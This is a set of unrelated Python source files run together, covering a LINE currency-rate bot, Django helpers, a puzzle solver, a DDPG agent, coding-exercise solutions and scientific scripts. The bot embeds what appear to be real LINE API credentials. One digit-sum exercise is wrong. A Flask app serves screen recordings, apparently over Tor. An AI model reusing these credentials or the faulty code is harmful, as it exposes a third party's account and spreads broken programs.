    InvalidSignatureError,LineBotApiError
)

################################

from linebot.models import *

app = Flask(__name__)

# Channel Access Token
line_bot_api = LineBotApi('/kNecMdZomV7O0z9Ie8o8y5BFzmpbEqGLfWNrh74iA7qmRdPUdwM49TbvfL8/Tfr8QiFyfpNWA+rhsYjvknQHkx6Btj+wc2nn0Zx7bqNwQt9760NOK2WxrsQzkBLCHmf2SL1jTX3iP+SLbZGSFCmEAdB04t89/1O/w1cDnyilFU=')
# Channel Secret
handler = WebhookHandler('e571aa49803b3c0444552238b7ae1004')

crawler = TaiwanExchangeCrawler()

# 監聽所有來自 /callback 的 Post Request
@app.route("/callback", methods=['POST'])
def callback():
    # get X-Line-Signature header value
    signature = request.headers['X-Line-Signature']
    # get request body as text
    body = request.get_data(as_text=True)
    app.logger.info("Request body: " + body)
    # handle webhook body
    try:
        handler.handle(body, signature)
    except InvalidSignatureError:
        abort(400)
    return 'OK'

# 處理訊息
@handler.add(MessageEvent, message=TextMessage)
def handle_message(event):
    print(event)
    text=event.message.text
    if text != 'all' :
        names = text.split(',')
    else :
        names = text
    #init crawler
    df_CashBuy, df_CashSell, df_SpotBuy, df_SpotSell, errorlog = crawler.GetBest(banklist=names)
    utils.render_mpl_table(df_SpotBuy, header_columns=0)
    imglink_CashBuy  = utils.GetImageLink(df_CashBuy)
    imglink_CashSell = utils.GetImageLink(df_CashSell)
    imglink_SpotBuy  = utils.GetImageLink(df_SpotBuy)
    imglink_SpotSell = utils.GetImageLink(df_SpotSell)

    Image_Carousel = TemplateSendMessage(alt_text='Exchange Rate',
                        template=ImageCarouselTemplate(
                            columns=[
                                ImageCarouselColumn(image_url=imglink_CashBuy, action=URITemplateAction(
                                                    label='CashBuy',  uri=imglink_CashBuy)),
                                ImageCarouselColumn(image_url=imglink_CashSell, action=URITemplateAction(
                                                    label='CashSell', uri=imglink_CashSell)),
                                ImageCarouselColumn(image_url=imglink_SpotBuy, action=URITemplateAction(
                                                    label='SpotBuy',  uri=imglink_SpotBuy)),
                                ImageCarouselColumn(image_url=imglink_SpotSell, action=URITemplateAction(
                                                    label='SpotSell', uri=imglink_SpotSell))
                            ]
                        )
                    )
    line_bot_api.reply_message(event.reply_token, Image_Carousel)
    # message1 = ImageSendMessage(original_content_url=imglink_SpotBuy, preview_image_url=imglink_SpotBuy)
    # message2 = ImageSendMessage(original_content_url=imglink_SpotSell, preview_image_url=imglink_SpotSell)
    # line_bot_api.reply_message(event.reply_token, [message1, message2])

import os
if __name__ == "__main__":
    port = int(os.environ.get('PORT', 5000))
    app.run(host='0.0.0.0', port=port)


list_of_numbers = [4,	80,	85,	59,	37,25,	5,	64,	66,	81,20,	64,	41,	22,	76,76,	55,	96,	2,	68]

#Your code here:
def merge_two_list(list1):
    odd = []
    even = []
    for i in list1:
        if i%2 == 1:
            odd.append(i)
        else:
            even.append(i)
    total_list = [odd , even]
    return total_list

print(merge_two_list(list_of_numbers))


import sys
from pathlib import Path

# add parent folder
sys.path.append(str(Path(__file__).parent.parent.absolute()))

from app import db, app  # noqa: E402
from models import User  # noqa: E402

new_email = input("Enter email: ")
new_school_class = input("Enter school class: ")

user = User(
    email=new_email,
    school_class=new_school_class,
)

with app.app_context():
    db.session.add(user)
    db.session.commit()


"""
To use:

1. Run:

$ python3 manage.py makemigrations --empty classification --name "blat_keys"
Migrations for 'classification':
  classification/migrations/0046_blat_keys.py

2. python3 manage.py blat_keys classification/migrations/0046_blat_keys.py

"""

import os
import re

from django.core.management.base import BaseCommand

from classification.models.evidence_key import EvidenceKey
from library.utils import local_date_string

class Command(BaseCommand):
    EMPTY_MIGRATION_LINES = 14

    def add_arguments(self, parser):
        parser.add_argument('--replace', action='store_true')
        parser.add_argument('migration_script')

    def handle(self, *args, **options):
        migration_script = options["migration_script"]
        replace = options["replace"]
        self.rewrite_migration_script(migration_script, replace)

    @staticmethod
    def get_dependency_lines(migration_script, replace):
        dependency_lines = []
        with open(migration_script) as f:
            lines = f.readlines()
            if not replace and len(lines) > Command.EMPTY_MIGRATION_LINES:
                msg = f"Expected empty migration to have {Command.EMPTY_MIGRATION_LINES} lines, was {len(lines)}. Use --replace to force"
                raise ValueError(msg)
            found_deps = False
            for line in lines:
                if found_deps:
                    if re.match("^\s+]$", line):
                        break
                    dependency_lines.append(line)
                elif re.match(r"^\s+dependencies = \[", line):
                    found_deps = True
                    continue

        return dependency_lines

    @staticmethod
    def rewrite_migration_script(migration_script, replace):
        this_script = os.path.basename(__file__)
        now = local_date_string()
        dependency_lines = Command.get_dependency_lines(migration_script, replace)
        dependencies = "".join(dependency_lines)

        evidence_keys_lines = []
        for ek_val in EvidenceKey.objects.all().order_by("pk").values():
            # format nicely and make at end of dict
            ek_val["created"] = str(ek_val.pop("created"))
            ek_val["modified"] = str(ek_val.pop("modified"))

            evidence_keys_lines.append(f"        EvidenceKey(**{ek_val}),")
        evidence_keys = "\n".join(evidence_keys_lines)
        new_script = f"""# Generated by {this_script} on {now}

from django.db import migrations

def blat_keys(apps, _schema_editor):
    EvidenceKey = apps.get_model("classification", "EvidenceKey")
    EvidenceKey.objects.all().delete()
    keys = [
{evidence_keys}
    ]
    EvidenceKey.objects.bulk_create(keys)

class Migration(migrations.Migration):

    dependencies = [
{dependencies}
    ]

    operations = [
        migrations.RunPython(blat_keys)
    ]
"""

        with open(migration_script, "w") as f:
            f.write(new_script)


from arguments import parse_arguments

import search as sh
import numpy as np
import visuals
import math

def gen_solved_board(board: np.ndarray) -> np.ndarray:
	values = np.roll(np.sort(board, axis=None), -1).tolist()
	solved = np.empty_like(board)
	directions = ((0, 1), (1, 0), (0, -1), (-1, 0))
	x, y = (0, 0)
	offset = 0
	solved[x, y] = values.pop(0)
	for count in range(board.shape[0] + board.shape[1]):
		for _ in range(1, board.shape[0] - offset):
			x = x + directions[count % 4][0]
			y = y + directions[count % 4][1]
			solved[x, y] = values.pop(0)
		if count and not count % 2:
			offset = offset + 1
	return solved

def read_board_from_file(filename: str) -> np.ndarray:
	with open(filename, mode='r') as fd:
		lines = [item.strip() for item in fd.readlines()]
	func = lambda x: x[:x.find('#')] if '#' in x else x
	lines = [item for item in lines if item and not item.startswith('#')]
	lines = [func(item).split() for item in lines]
	if any([x for item in lines for x in item if not x.isdecimal()]):
		raise ValueError('board has non-digits entries')
	return np.array(lines[1:], dtype=np.float32)

def inversions(state: np.ndarray) -> bool:
	inverse = 0
	zeropos = -1
	size = state.size - 1
	i = 0
	while i < size:
		j = i + 1
		while j < state.size:
			if state[i] == 0:
				zeropos = i
			if (state[i] != 0 and state[j] != 0) and (state[i] > state[j]):
				inverse += 1
			j += 1
		i += 1
	if state.size % 2 == 1:
		return inverse % 2 == 0
	if (int((math.sqrt(state.size) - (zeropos // math.sqrt(state.size)))) % 2 == 0):
		return inverse % 2 == 1
	return inverse % 2 == 0

def solvable(initial_state: np.ndarray, final_state: np.ndarray) -> bool:
	return inversions(initial_state.flatten()) == inversions(final_state.flatten())

def main() -> None:
	arguments = parse_arguments()
	try:
		board = read_board_from_file(arguments.file)
		assert board.size > 0, 'board is invalid'
		assert np.min(board) == 0, 'empty tile must have 0 value'
		assert np.unique(board).size == board.size, 'repetitions in board'
	except Exception as ex:
		raise SystemExit(f'error: {str(ex)}')
	solved = np.pad(gen_solved_board(board), 1, constant_values=math.nan)
	board = np.pad(board, 1, constant_values=math.nan)
	if not solvable(board, solved):
		raise SystemExit('error: n-puzzle is not solvable')
	sh.set_search_parameters(arguments.search, arguments.heuristic)
	print(f'Using: {arguments.search} search [{arguments.heuristic}]')
	transitions = sh.search(board, solved)
	print(f'\nTransitions to final state: {len(transitions) - 1}')
	if arguments.visualize is True:
		visuals.visualize_steps(transitions)
	else:
		visuals.print_steps(transitions)

if __name__ == '__main__':
	main()


# from HostTor import VicksTor
import VicksTor as vix
vix.run_server('flask')

from flask import (
    Flask,
    render_template,
    send_from_directory
)

import os
from datetime import datetime

app = Flask(__name__, template_folder='./')
path = 'ScreenRecord'

@app.route(f'/{path}/<path:filename>')
def send_file(filename):
    return send_from_directory(f'./{path}', filename)

@app.route('/')
def hello_world():
    mod = []
    files = os.listdir(f'./{path}')

    for i in files:
        t = os.path.getmtime(f'./{path}/{i}')
        t = datetime.fromtimestamp(t).strftime('%d-%m-%Y %H:%M:%S')

        s = os.path.getsize(f'./{path}/{i}') / 1048576
        s = round(s, 2)
        mod.append((i, t, s))

    return render_template(
        'index.html',
        path=path,
        files=mod,
    )

if __name__ == '__main__':
    app.run(debug = False)


import csv

veri = []

with open('./Csv Test Data/45,2.csv','r') as csvfile:
    csvfile = csv.reader(csvfile,delimiter=',')
    for row in csvfile:
        veri.append(float(row[1]))
print(veri)

with open('./Txt Test Data/45,2.txt','w') as txtfile:
    filewriter = csv.writer(txtfile)
    filewriter.writerow(map(lambda x: x, veri))


import logging

from django import template
from django.http import QueryDict
from urllib.parse import urlparse, urlunparse

logger = logging.getLogger("socialrating.%s" % __name__)
register = template.Library()

@register.filter
def togglecontext(request, context):
    """
    Toggles context and returns the resulting url as a string
    """
    # parse the original url
    parsed_url = urlparse(request.get_full_path())
    # create a QueryDict to parse the GET params
    queries = QueryDict(parsed_url.query, mutable=True)
    # get contexts param
    contexts = queries.getlist("context")
    if contexts:
        if context.slug in contexts:
            contexts.remove(context.slug)
        else:
            contexts.append(context.slug)
        if contexts:
            queries.setlist("context", contexts)
        else:
            del queries["context"]
    else:
        queries["context"] = context.slug
    queries = queries.urlencode()
    new_url = urlunparse(
        (
            parsed_url.scheme,
            parsed_url.netloc,
            parsed_url.path,
            parsed_url.params,
            queries,
            parsed_url.fragment,
        )
    )
    return new_url

@register.filter
def clearcontext(request):
    """
    Removes all context GET vars from url and returns
    """
    parsed_url = urlparse(request.get_full_path())
    queries = QueryDict(parsed_url.query, mutable=True)
    if "context" in queries:
        del queries["context"]
    new_url = urlunparse(
        (
            parsed_url.scheme,
            parsed_url.netloc,
            parsed_url.path,
            parsed_url.params,
            queries,
            parsed_url.fragment,
        )
    )
    return new_url


"""
Gini function implementation to minimize the enthropy
"""
import data
import numpy as np

def Gini_data(Y):
    #count the Y equal to one
    c_pos=len(np.where(Y == 1)[0])/len(Y)
    #count the Y equal to 0
    c_neg=len(np.where(Y == -1)[0])/len(Y)
    return 1-c_pos**2-c_neg**2

def Gini(X,Y,Threshlod):
    #sort X based on x values ascendingly
    X.sort()
    b = np.argsort(X)
    Y=Y[b]

    #Gini index for the Right branch
    above_threshold_indices = X >= Threshlod
    CR_pos=np.count_nonzero(Y[above_threshold_indices]==1)
    CR_neg=np.count_nonzero(Y[above_threshold_indices]==-1)
    #calculate the Gini for the  right brnch

    UAR=1-((CR_pos/(CR_pos+CR_neg))**2)-((CR_neg/(CR_neg+CR_pos))**2)

    # Gini index for the right branch
    below_threshold_indices = X < Threshlod
    CL_pos=np.count_nonzero(Y[below_threshold_indices]==1)
    CL_neg=np.count_nonzero(Y[below_threshold_indices]==-1)

    #calculate the Gini for the  left brnch

    UAL=1-(CL_pos/(CL_pos+CL_neg))**2-(CL_neg/(CL_neg+CL_pos))**2

    UA=Gini_data(Y)

    pl=(CL_pos+CL_neg)/len(Y)
    pr=(CR_pos+CR_neg)/len(Y)

    #benefit of split for feature f_i
    B=UA-pl*UAL-pr*UAR

    return B

def threshold_func(X,Y):
   # pass   as arg the indices of the sorted 2nd column
    YX=np.column_stack((Y, X[:,0]))
    sorted = YX[np.argsort(YX[:, 1])]

    y1, x1 = np.hsplit(sorted, 2)
    indices_where_change = np.where(y1[:-1] != y1[1:])[0]
    return  X[indices_where_change]

[Y,X]=data.open_csv("pa3_train_reduced")

thresh=threshold_func(X,Y)
print(len(thresh))
for th  in thresh:
    B=Gini(X[:,0],Y,th)
    print(B)
#
# for thress in thresh:
#     B=Gini(X[:,1],Y,thress)
#     print(B)


'''
로봇 청소기가 주어졌을 때, 청소하는 영역의 개수를 구하는 프로그램을 작성하시오.

로봇 청소기가 있는 장소는 NXM 크기의 직사각형으로 나타낼 수 있으며, 1X1크기의 정사각형 칸으로 나누어져 있다.
각각의 칸은 벽 또는 빈 칸이다. 청소기는 바라보는 방향이 있으며, 이 방향은 동, 서, 남, 북중 하나이다.
지도의 각 칸은 (r, c)로 나타낼 수 있고, r은 북쪽으로부터 떨어진 칸의 개수, c는 서쪽으로 부터 떨어진 칸의 개수이다.

로봇 청소기는 다음과 같이 작동한다.

1. 현재 위치를 청소한다.

2. 현재 위치에서 현재 방향을 기준으로 왼쪽 방향부터 차례대로 인접한 칸을 탐색한다.
    a. 왼쪽 방향에 아직 청소하지 않은 공간이 존재한다면, 그 방향으로 회전한 다음 한 칸을 전진하고 1번부터 진행한다.
    b. 왼쪽 방향에 청소할 공간이 없다면, 그 방향으로 회전하고 2번으로 돌아간다.
    c. 네 방향 모두 청소가 이미 되어있거나 벽인 경우에는, 바라보는 방향을 유지한 채로 한 칸 후진을 하고 2번으로 돌아간다.
    d. 네 방향 모두 청소가 이미 되어있거나 벽이면서, 뒤쪽 방향이 벽이라 후진도 할 수 없는 경우에는 작동을 멈춘다.
로봇 청소기는 이미 청소되어있는 칸을 또 청소하지 않으며, 벽을 통과할 수 없다.

입력
첫째 줄에 세로 크기 N과 가로 크기 M이 주어진다. (3 ≤ N, M ≤ 50)

둘째 줄에 로봇 청소기가 있는 칸의 좌표 (r, c)와 바라보는 방향 d가 주어진다.
d가 0인 경우에는 북쪽을, 1인 경우에는 동쪽을, 2인 경우에는 남쪽을, 3인 경우에는 서쪽을 바라보고 있는 것이다.

셋째 줄부터 N개의 줄에 장소의 상태가 북쪽부터 남쪽 순서대로, 각 줄은 서쪽부터 동쪽 순서대로 주어진다.
빈 칸은 0, 벽은 1로 주어진다. 지도의 첫 행, 마지막 행, 첫 열, 마지막 열에 있는 모든 칸은 벽이다.

로봇 청소기가 있는 칸의 상태는 항상 빈 칸이다.
'''
'''
import sys
read = sys.stdin.readline

row, col = map(int, read().split())
board = []
x, y, d = map(int, read().split())
for _ in range(row):
    board.append(list(map(int, read().split())))
vector = ((-1, 0), (0, 1), (1, 0), (0, -1)) # 왼쪽으로 돈다. >> dir -= 1
def operator():
    stack = [(x, y)]
    rotation = 0
    dir = d
    cnt = 1
    board[x][y] = 2
    while True:
        i, j = stack.pop()
        print(i, j)
        rotation = 0
        while rotation < 5:
            rotation += 1
            dir -= 1
            dir %= 4
            ni, nj = i + vector[dir][0], j + vector[dir][1]
            if not (0 <= ni < row and 0 <= nj < col):
                continue
            if board[ni][nj] == 0:
                break

        else:
            bi, bj = i - vector[dir-2][0], j + vector[dir-2][1]
            if 0 <= bi < row and 0 <= bj < col and board[bi][bj] != 1:
                stack.append((bi, bj))
                dir -= 2
                dir %= 4
                continue
            else:
                return cnt

        cnt += 1
        board[ni][nj] = 2
        stack.append((ni, nj))

print(operator())
for i in board:
    print(i)
def dfs():
    cnt = 0
    stack = list()
    stack.append((x, y))
    while stack:
        i, j = stack.pop()
        for k in range(4):
            ni = i + vector[k][0]
            nj = j + vector[k][1]
            if 0 <= ni < row and 0 <= nj < col and board[ni][nj] == 0:
                board[ni][nj] = 1
                stack.append((ni, nj))
                cnt += 1
'''
# https://www.acmicpc.net/problem/14503
i, j = map(int, input().split())
x, y, d = map(int, input().split())
dx, dy = (-1, 0, 1, 0), (0, 1, 0, -1)
board = [list(map(int, input().split())) for _ in range(i)]
dirty = [[1]*j for _ in range(i)]
a = 0
ans = 0
while True:
    if dirty[x][y]:
        dirty[x][y] = 0
        ans += 1
    while a < 4:
        d = (d-1) % 4
        a += 1
        nx, ny = x+dx[d], y+dy[d]
        if not board[nx][ny] and dirty[nx][ny]:
            x, y = nx, ny
            a = 0
            break
    else:
        nx, ny = x-dx[d], y-dy[d]
        if not board[nx][ny]:
            x, y = nx, ny
            a = 0
        else:
            print(ans)
            break


from tkinter import*
import time
root=Tk()
def update():
    statusvariable.set("busy...")
    sbr.update()
    time.sleep(2)
    statusvariable.set("Ready")
root.geometry("500x400")
root.title("status bar")
statusvariable=StringVar()
statusvariable.set("Ready")
sbr =Label(root,textvariable=statusvariable,borderwidth=2,relief=SUNKEN,anchor="w")
sbr.pack(side=BOTTOM,fill=X)
Button(root,text="Update",command=update).pack()
Label(root,text="Mza aa gya guru !!",font="Verdana 25 bold italic",fg="red").pack()

root.mainloop()


#program to find sum of digits in a number using for loop
n=int(input(""))
su=0
for i in range(n):
    rem=n%10
    su=su+rem
    n=n//10
print(su)
#another way
n=int(input(""))
temp=n
sum=0
for i in range(1,n,n//10):
    rem=sum+int(temp%10)
    temp=temp//10
print(sum)

sum of digits of number using for loop.py


#models: policy, target_policy, q_function, target_q_function

#noise_scale=0.1
#polyak=0.995
#action = policy(state) + noise_scale * np.random.randn(n_actions)
#y = r + gamma*(1-done)*target_q_function(new_state, target_policy(new_state))
#q_function_loss = mean( ( q_function(state,action) - y )**2 )
#policy_loss = mean( q_function(state,policy(state)) )
#target_q_function_weight = polyak*target_q_function_weight + (1-polyak)*q_function_weight
#target_policy_weight = polyak*target_policy_weight + (1-polyak)*policy_weight
import sys

import numpy as np
import tensorflow as tf
from tensorflow.keras.layers import Dense
from tensorflow.keras import Model
from tensorflow.keras.optimizers import Adam
import tensorflow_probability as tfp

gpus = tf.config.experimental.list_physical_devices('GPU')
if gpus:
  try:
    tf.config.experimental.set_virtual_device_configuration(gpus[0], [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=5000)])
  except RuntimeError as e:
    print(e)

class OUActionNoise:
    def __init__(self, mean, std_deviation, theta=0.15, dt=1e-2, x_initial=None):
        self.theta = theta
        self.mean = mean
        self.std_dev = std_deviation
        self.dt = dt
        self.x_initial = x_initial
        self.reset()

    def __call__(self):
        # Formula taken from https://www.wikipedia.org/wiki/Ornstein-Uhlenbeck_process.
        x = (
            self.x_prev
            + self.theta * (self.mean - self.x_prev) * self.dt
            + self.std_dev * np.sqrt(self.dt) * np.random.normal(size=self.mean.shape)
        )
        # Store x into x_prev
        # Makes next noise dependent on current one
        self.x_prev = x
        return x

    def reset(self):
        if self.x_initial is not None:
            self.x_prev = self.x_initial
        else:
            self.x_prev = np.zeros_like(self.mean)

class ReplayBuffer(object):
    def __init__(self, mem_size, batch_size, obs_dim, n_actions):
        self.mem_size = mem_size
        self.batch_size = batch_size

        self.state_buffer = np.zeros((self.mem_size, obs_dim))
        self.action_buffer = np.zeros((self.mem_size, n_actions))
        self.reward_buffer = np.zeros((self.mem_size, 1))
        self.next_state_buffer = np.zeros((self.mem_size, obs_dim))

        self.obs_dim = obs_dim
        self.ptr, self.size = 0, 0

    def store(self, state, action, reward, new_state, done):

        self.state_buffer[self.ptr] = state
        self.action_buffer[self.ptr] = action
        self.reward_buffer[self.ptr] = reward
        self.next_state_buffer[self.ptr] = new_state

        self.size = min(self.size+1, self.mem_size)
        self.ptr = (self.ptr+1) % self.mem_size

    def get_data(self):
        idxs = np.random.randint(0, self.size, size=self.batch_size)

        # Convert to tensors
        state_batch = tf.convert_to_tensor(self.state_buffer[idxs])
        action_batch = tf.convert_to_tensor(self.action_buffer[idxs])
        reward_batch = tf.convert_to_tensor(self.reward_buffer[idxs])
        reward_batch = tf.cast(reward_batch, dtype=tf.float32)
        next_state_batch = tf.convert_to_tensor(self.next_state_buffer[idxs])

        return state_batch, action_batch, reward_batch, next_state_batch

    def is_train(self):
        if len(self.state_buffer) < self.batch_size:
            return False
        else:
            return True

class create_policy(Model):
	def __init__(self,n_actions):
		super(create_policy, self).__init__()
		last_init = tf.random_uniform_initializer(minval=-0.003, maxval=0.003)
		self.d1 = Dense(64, activation='relu')
		self.d2 = Dense(64, activation='relu')
		self.policy_head = Dense(n_actions, activation="tanh", kernel_initializer=last_init)

	def call(self,state):
		hidden = self.d1(state)
		hidden = self.d2(hidden)
		pi = self.policy_head(hidden)
		return pi

class create_q_function(Model):
	def __init__(self):
		super(create_q_function, self).__init__()
		self.d3 = Dense(64, activation='relu')
		self.d4 = Dense(64, activation='relu')
		self.q_head = Dense(1)

	def call(self,state,action):
		action = tf.cast(action, state.dtype)
		qf_h = tf.concat([state, action], axis=1)
		hidden1 = self.d3(qf_h)
		hidden1 = self.d4(hidden1)
		q = self.q_head(hidden1)
		return q

class Agent(object):
	def __init__(self,state_shape,n_actions,std_dev=0.2,lr=0.0003,polyak=0.995,batch_size=64,gamma=0.99,replay_size=1000000,gradient_steps=1,seed=0):
		tf.random.set_seed(seed)
		np.random.seed(seed)

		self.state_shape = state_shape
		self.n_actions = n_actions
		self.std_dev = std_dev
		self.lr = lr
		self.polyak = polyak
		self.gamma = gamma
		self.gradient_steps = gradient_steps

		self.if_start = False
		self.actor_loss = None

		self.policy = create_policy(n_actions)
		self.traget_policy = create_policy(n_actions)

		self.q_function = create_q_function()
		self.target_q_function = create_q_function()

		self.noise_generator = OUActionNoise(mean=np.zeros(n_actions), std_deviation=float(std_dev) * np.ones(1))

		self.buffer = ReplayBuffer(replay_size, batch_size, state_shape, n_actions)

		self.opt = Adam(learning_rate=lr)
		self.q_opt = Adam(learning_rate=lr)

		self.traget_policy.set_weights(self.policy.get_weights())
		self.target_q_function.set_weights(self.q_function.get_weights())

	def predict(self,state):
		state = state[np.newaxis,:]

		pi = self.policy(state)

		noise = self.noise_generator()

		action = pi + noise

		action = action[0]

		return action

	def append_data(self, state, new_state, action, reward, done):
		self.buffer.store(state, action, reward, new_state, done)

	def compute_critic_loss(self,state,new_state,action,reward):
		q_value = self.q_function(state,action)

		pi = self.traget_policy(new_state)

		y = reward + self.gamma*self.target_q_function(new_state, pi)

		q_function_loss = tf.math.reduce_mean(tf.math.square(y - q_value))

		return q_function_loss

	def compute_actor_loss(self,state):
		pi = self.policy(state)
		q = self.q_function(state, pi)
		return -tf.reduce_mean(q)

	def soft_update(self,src,trg):
		target_wieghts = []
		for target, source in zip(trg.get_weights(), src.get_weights()):
			fa = self.polyak * target + (1 - self.polyak) * source
			target_wieghts.append(fa)

		trg.set_weights(target_wieghts)

	def train(self, step):
		if not self.buffer.is_train():
			return

		state, action, reward, new_state = self.buffer.get_data()

		for _ in range(self.gradient_steps):

			with tf.GradientTape() as critic_tape:
				critic_loss = self.compute_critic_loss(state,new_state,action,reward)

			critic_grads = critic_tape.gradient(critic_loss, self.q_function.trainable_variables)

			self.q_opt.apply_gradients(zip(critic_grads, self.q_function.trainable_variables))

			with tf.GradientTape() as actor_tape:
				actor_loss = self.compute_actor_loss(state)

			actor_grads = actor_tape.gradient(actor_loss, self.policy.trainable_variables)

			self.opt.apply_gradients(zip(actor_grads, self.policy.trainable_variables))

			self.soft_update(self.policy,self.traget_policy)

			self.soft_update(self.q_function,self.target_q_function)

			self.actor_loss = actor_loss
			self.critic_loss = critic_loss

			target_pred = self.traget_policy(state)

			pi = self.policy(state)
			q_value = self.q_function(state, pi)

			self.q_pred = q_value[0]
			self.pi_pred = pi[0]
			self.target_pred = target_pred[0]


'''To create a reduced network from a network.'''

def gen_sorted_node_list(G):
	node_dict = dict(G.degree)
	to_return = sorted(node_dict,key=node_dict.get,reverse=True)
	return to_return

def reduce_graph(graphs):
	key_nodes = []
	for graph in graphs:
		sorted_nodes = gen_sorted_node_list(graph)
		accounted_for = set()
		nodes = set(graph.nodes)
		while accounted_for!=nodes:
			node = sorted_nodes.pop(0)
			key_nodes.append(node)
			neighbours = set(graph[node].keys())
			accounted_for.update(neighbours)
			accounted_for.update([node])
			graph.remove_node(node)
			sorted_nodes = gen_sorted_node_list(graph)
	return key_nodes


"""Helper method for fast strip initialisation."""
import itertools

def create_pattern(n, method, type1="i", **kwargs):
    """Create patterns of Bloch point arrangements.

    Patterns are strings consisting of `i`, `o`, and `x`.
    Each character represents one Bloch point position, head-to-head as `i`,
    tail-to-tail as `o`. A position without Bloch point is denoted as `x`.

    Currently, this method does not return patterns that contain `x`.

    Parameters
    ----------
    n: int, List[int]
        Single number of Bloch points or list of numbers.

    method : str
        Method to use for pattern creation. Can be one of
        - `same-type`: same-type Bloch points
        - `alternating`: alternating opposite-type Bloch points
        - `all`: all possible configurations
        - `energy-levels`: all configurations resulting in different energies
        - `selection`: custom number of type changes.

    type1 : str, optional
        Bloch-point type at position 1. Defaults to `i` (head-to-head).
        Options:
        - head-to-head: `i`, `hh`
        - tail-to-tail: `o`, `tt`

    **kwargs : Any, optional
       Additional arguments required for certain metods:
       - `energy-levels`: `bcx: bool = False` to take boundary conditions
          into account.
       - `selection`: `typechanges: List[List[int]]` list of number of type
          changes

    Returns
    -------
    List[str]
        List of strings of Bloch point patterns.
    """
    if type1 not in ["i", "o", "hh", "tt"]:
        raise ValueError('Bloch point of type "{type1}" unknown.')
    if type1 == "hh":
        type1 = "i"
    elif type1 == "tt":
        type1 = "o"

    if method == "same-type":
        return _pattern_same_type(n, type1)
    elif method == "alternating":
        return _pattern_alternating_opposite_type(n, type1)
    elif method == "all":
        return _pattern_all_configs(n)
    elif method == "energy-levels":
        return _pattern_energetically_different(n, type1, **kwargs)
    elif method == "selection":
        return _pattern_n_typechanges(n, **kwargs, type1=type1)
    else:
        raise ValueError(f'Method "{method}" is unknown.')

def _pattern_same_type(n, type1="i"):
    res = []
    if isinstance(n, int):
        res.append(type1 * n)
    else:
        for i in n:
            res.append(type1 * i)
    return res

def _pattern_alternating_opposite_type(n, type1="i"):
    if type1 in ["i"]:
        start = 0
    else:
        start = 1
    res = []
    if isinstance(n, int):
        res.append(("io" * n)[start :start + n])
    else:
        for i in n:
            res.append(("io" * i)[start :start + i])
    return res

def _pattern_all_configs(n):
    return map(lambda x: "".join(x), itertools.product("io", repeat=n))

def _pattern_energetically_different(n, type1="i", bcx=False):
    if bcx:
        raise NotImplementedError
    if isinstance(n, int):
        n = [n]
    return _pattern_n_typechanges(n=n, typechanges=[range(i) for i in n], type1=type1)

def _pattern_n_typechanges(n, typechanges, type1="i"):
    res = []
    if isinstance(n, int):
        for tc in typechanges[0]:
            res.append(_pattern_from_typechanges(n, tc, type1))
    else:
        if len(n) != len(typechanges):
            msg = (
                "Length of the outer list of typechanges does not match"
                "Bloch point numbers"
            )
            raise ValueError(msg)
        for i, tcs in zip(n, typechanges):
            for tc in tcs:
                res.append(_pattern_from_typechanges(i, tc, type1))
    return res

def _pattern_from_typechanges(n, typechanges, type1):
    if typechanges >= n:
        msg = "Number of typechanges must be smaller than Bloch point number"
        raise ValueError(msg)
    type2 = "o" if type1 == "i" else "i"
    same = type1 * n
    alternating = (type2 + type1) * n
    return same[: n - typechanges] + alternating[:typechanges]

def pattern_ascii(characters):
    """Pattern representing the binary representation of the given characters.

    Head-to-head represents a 1 ('i'), tail-to-tail a 0 ('o').

    Parameters
    ----------
    characters : str
        String  to represent with Bloch points.

    Returns
    -------
    str
        Bloch point pattern encoded with `i` and `o`.
    """
    res = []
    for c in characters:
        binary = bin(ord(c))
        binary = binary[2:].zfill(8)  # string starts with '0b'
        for b in binary:
            if b == "1":
                res.append("i")
            else:
                res.append("o")
    return "".join(res)

def pattern_to_config(pattern, UP=(0, 0, 1), DOWN=(0, 0, -1), ELSE=None):
    """Translate a pattern string into subregions."""
    res = dict()
    res["subdivisions"] = len(pattern)
    res["positions"] = [i + 1 for i, p in enumerate(pattern) if p in "io"]
    res["subdivide_free"] = "i" in pattern and "o" in pattern
    patterndict = {"default": UP if 'i' in pattern else DOWN}
    for i, p in enumerate(pattern):
        if p == "i":
            patterndict[f"fixed{i+1}top"] = DOWN
        elif p == "o":
            patterndict[f"fixed{i+1}top"] = UP
            patterndict[f"fixed{i+1}bottom"] = DOWN
            patterndict[f"free{i+1}bottom"] = DOWN
            patterndict[f"free{i+1}top"] = DOWN
        elif ELSE:
            patterndict[f"free{i+1}bottom"] = ELSE
            patterndict[f"free{i+1}top"] = ELSE
    res["m_values"] = [pattern, patterndict]
    return res


#!/usr/bin/python

import os
import sys
import csv
import argparse

__author__ = "Sung-Huan Yu <sung-huan.yu@uni-wuerzburg.de>"
__email__ = "sung-huan.yu@uni-wuerzburg.de"

parser = argparse.ArgumentParser()
parser.add_argument("-c","--class_file",help="input file")
parser.add_argument("-g","--group_file",help="output file")
parser.add_argument("-o","--go_file",help="output file")
parser.add_argument("-s","--srna_file",help="output file")
args = parser.parse_args()

def main():
    print("\t".join(["group_id", "GO_term(dots for level)", "GO_type", "GO_class_name",
                     "p-value", "total_number(GO_mapped)", "counts_this_GO", "protein_products"]))
    gos = []
    oh = open(args.go_file, "r")
    for row in csv.reader(oh, delimiter='\t'):
        gos.append({"protein": row[0], "product": row[1], "go": row[2]})
    gh = open(args.group_file, "r")
    line = 0
    start = False
    group = "group_" + args.group_file.split("_")[-1]
    for row in csv.reader(gh, delimiter='\t'):
        line += 1
        if line == 4:
            total = row[0].strip().split(" ")[0]
        if row[0] == "GO":
            start = True
        else:
            if start:
                term = row[0].split(".")[-1]
                finals = []
                poss = []
                for go in gos:
                    if term in go["go"]:
                        detect = False
                        ch = open(args.class_file, "r")
                        for cl in csv.reader(ch, delimiter='\t'):
                            if (len(cl) == 1) and (cl[0] == group.split("_")[-1]):
                                detect = True
                            elif (len(cl) == 1) and (cl[0] != group.split("_")[-1]):
                                detect = False
                            if (len(cl) != 1) and (detect):
                                datas = cl[8].split(";")
                                for data in datas:
                                    if ("product" in data) and (data.split("=")[-1] == go["product"]):
                                        poss.append(cl[3] + "-" + cl[4] + "_" + cl[6])
                        finals.append(go["product"])
                        ch.close()
                if (row[2] == "e") and (len(poss) != 0):
                    print("\t".join([group, row[0], row[1], row[3], row[6],
                                     total, str(len(finals)), ", ".join(finals), ", ".join(poss)]))
    if start:
        ch = open(args.class_file, "r")
        detect = False
        stats = {}
        srna_total = 0
        for row in csv.reader(ch, delimiter='\t'):
            if len(row) == 1:
                if args.group_file.split("_")[-1] == row[0]:
                    detect = True
                else:
